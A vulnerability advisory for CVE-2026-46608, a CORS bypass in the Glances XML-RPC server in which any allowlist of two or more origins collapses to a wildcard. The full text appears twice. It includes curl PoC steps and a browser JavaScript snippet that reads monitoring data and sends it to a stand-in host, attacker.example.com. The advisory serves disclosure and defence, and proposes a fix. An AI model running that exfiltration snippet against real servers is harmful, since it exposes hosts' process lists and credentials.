CVE-2026-46608

### Summary The Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim's knowledge. --- ### Details **Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113 **Direct URL (commit 04579778e733d705898a169e049dc84772c852da):** - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113 ```python # server.py (GlancesXMLRPCServer.__init__) cors_origins = self.args.cors_origins # list from config / CLI # Line 113 — the incomplete fix: self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*' # ^^^ # Any allowlist with 2+ entries collapses to the wildcard ``` The `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file): ```python self.send_header('Access-Control-Allow-Origin', self.cors_origin) ``` This means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser. Even if an operator sets: ```ini # glances.conf [outputs] cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com ``` the server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`. **Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured. **Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da). Test results: | Origin sent | ACAO header returned | Expected | |--------------------------|----------------------|--------------| | `http://evil.example.com`| `*` | No header | | `https://dashboard.corp` | `*` | Reflected | | `https://grafana.corp` | `*` | Reflected | --- ### PoC **Special configuration required** The multi-origin collapse is only triggered when `cors_origins` contains two or more entries. Create the following `glances.conf`: ```ini # /tmp/glances_multiorigin.conf [global] check_update = false [outputs] cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com ``` **Step 1 — Start the XML-RPC server using the config above** ```bash glances -s -p 61209 -C /tmp/glances_multiorigin.conf ``` **Step 2 — Send a CORS simple request from a foreign origin** ```bash curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \ -H "Content-Type: text/plain" \ -H "Origin: http://evil.example.com" \ -d '<?xml version="1.0"?> <methodCall><methodName>getAllPlugins</methodName></methodCall>' ``` **Expected (secure) response:** ``` HTTP/1.0 400 Bad Request ``` or no `Access-Control-Allow-Origin` header. **Actual response:** ``` HTTP/1.0 200 OK Access-Control-Allow-Origin: * ... <?xml version='1.0'?> <methodResponse> <params><param><value><array><data> <value><string>cpu</string></value> <value><string>mem</string></value> ... </data></array></value></param></params> </methodResponse> ``` **Step 3 — Demonstrate the code-level collapse to wildcard** ```python import sys sys.path.insert(0, '/path/to/glances') # adjust to local clone from glances.config import Config c = Config('/tmp/glances_multiorigin.conf') cors_list = c.get_list_value('outputs', 'cors_origins', default=['*']) # Reproduces server.py line 113: result = cors_list[0] if len(cors_list) == 1 else '*' print('cors_origins config :', cors_list) print('cors_origin applied :', result) print('Is wildcard? :', result == '*') # cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com'] # cors_origin applied : * # Is wildcard? : True ``` **Browser-based exploitation** Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows: ```javascript // Runs in a page on http://evil.example.com const payload = `<?xml version="1.0"?> <methodCall><methodName>getAll</methodName></methodCall>`; fetch('http://GLANCES_HOST:61209/RPC2', { method: 'POST', headers: { 'Content-Type': 'text/plain' }, body: payload, }) .then(r => r.text()) .then(data => { // 'data' contains hostname, OS, full process list, network interfaces, etc. fetch('https://attacker.example.com/collect?d=' + btoa(data)); }); ``` This works as a CORS "simple request" (POST + `text/plain`) — no CORS preflight is triggered and the `*` wildcard allows the browser to read the response. --- ### Impact **Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942) **Who is impacted:** Any operator who: 1. Runs Glances in XML-RPC server mode (`glances -s`), *and* 2. Has configured two or more `cors_origins` entries in `glances.conf` believing they are restricting browser access. Operators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin. **Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata. **Impact:** - **Confidentiality:** High — complete system monitoring data readable by any browser page. - **Integrity:** None — read-only API. - **Availability:** None — no denial-of-service component. --- ### Suggested Fix Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's `CORSMiddleware`): ```python # server.py — replace the single static self.cors_origin field with: def _get_acao_header(self, request_origin: str) -> str | None: """Return the correct Access-Control-Allow-Origin value or None.""" if not self.cors_origins or '*' in self.cors_origins: return '*' if request_origin in self.cors_origins: return request_origin return None # do not send the header for unlisted origins # In do_POST / send_response: origin = self.headers.get('Origin', '') acao = self._get_acao_header(origin) if acao: self.send_header('Access-Control-Allow-Origin', acao) self.send_header('Vary', 'Origin') ``` Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette's `CORSMiddleware` correctly, and document the deprecation path. --- ### Responsible Disclosure The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. --- ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team. ---

### Summary The Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim's knowledge. --- ### Details **Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113 **Direct URL (commit 04579778e733d705898a169e049dc84772c852da):** - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113 ```python # server.py (GlancesXMLRPCServer.__init__) cors_origins = self.args.cors_origins # list from config / CLI # Line 113 — the incomplete fix: self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*' # ^^^ # Any allowlist with 2+ entries collapses to the wildcard ``` The `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file): ```python self.send_header('Access-Control-Allow-Origin', self.cors_origin) ``` This means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser. Even if an operator sets: ```ini # glances.conf [outputs] cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com ``` the server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`. **Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured. **Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da). Test results: | Origin sent | ACAO header returned | Expected | |--------------------------|----------------------|--------------| | `http://evil.example.com`| `*` | No header | | `https://dashboard.corp` | `*` | Reflected | | `https://grafana.corp` | `*` | Reflected | --- ### PoC **Special configuration required** The multi-origin collapse is only triggered when `cors_origins` contains two or more entries. Create the following `glances.conf`: ```ini # /tmp/glances_multiorigin.conf [global] check_update = false [outputs] cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com ``` **Step 1 — Start the XML-RPC server using the config above** ```bash glances -s -p 61209 -C /tmp/glances_multiorigin.conf ``` **Step 2 — Send a CORS simple request from a foreign origin** ```bash curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \ -H "Content-Type: text/plain" \ -H "Origin: http://evil.example.com" \ -d '<?xml version="1.0"?> <methodCall><methodName>getAllPlugins</methodName></methodCall>' ``` **Expected (secure) response:** ``` HTTP/1.0 400 Bad Request ``` or no `Access-Control-Allow-Origin` header. **Actual response:** ``` HTTP/1.0 200 OK Access-Control-Allow-Origin: * ... <?xml version='1.0'?> <methodResponse> <params><param><value><array><data> <value><string>cpu</string></value> <value><string>mem</string></value> ... </data></array></value></param></params> </methodResponse> ``` **Step 3 — Demonstrate the code-level collapse to wildcard** ```python import sys sys.path.insert(0, '/path/to/glances') # adjust to local clone from glances.config import Config c = Config('/tmp/glances_multiorigin.conf') cors_list = c.get_list_value('outputs', 'cors_origins', default=['*']) # Reproduces server.py line 113: result = cors_list[0] if len(cors_list) == 1 else '*' print('cors_origins config :', cors_list) print('cors_origin applied :', result) print('Is wildcard? :', result == '*') # cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com'] # cors_origin applied : * # Is wildcard? : True ``` **Browser-based exploitation** Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows: ```javascript // Runs in a page on http://evil.example.com const payload = `<?xml version="1.0"?> <methodCall><methodName>getAll</methodName></methodCall>`; fetch('http://GLANCES_HOST:61209/RPC2', { method: 'POST', headers: { 'Content-Type': 'text/plain' }, body: payload, }) .then(r => r.text()) .then(data => { // 'data' contains hostname, OS, full process list, network interfaces, etc. fetch('https://attacker.example.com/collect?d=' + btoa(data)); }); ``` This works as a CORS "simple request" (POST + `text/plain`) — no CORS preflight is triggered and the `*` wildcard allows the browser to read the response. --- ### Impact **Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942) **Who is impacted:** Any operator who: 1. Runs Glances in XML-RPC server mode (`glances -s`), *and* 2. Has configured two or more `cors_origins` entries in `glances.conf` believing they are restricting browser access. Operators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin. **Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata. **Impact:** - **Confidentiality:** High — complete system monitoring data readable by any browser page. - **Integrity:** None — read-only API. - **Availability:** None — no denial-of-service component. --- ### Suggested Fix Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's `CORSMiddleware`): ```python # server.py — replace the single static self.cors_origin field with: def _get_acao_header(self, request_origin: str) -> str | None: """Return the correct Access-Control-Allow-Origin value or None.""" if not self.cors_origins or '*' in self.cors_origins: return '*' if request_origin in self.cors_origins: return request_origin return None # do not send the header for unlisted origins # In do_POST / send_response: origin = self.headers.get('Origin', '') acao = self._get_acao_header(origin) if acao: self.send_header('Access-Control-Allow-Origin', acao) self.send_header('Vary', 'Origin') ``` Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette's `CORSMiddleware` correctly, and document the deprecation path. --- ### Responsible Disclosure The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. --- ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team. ---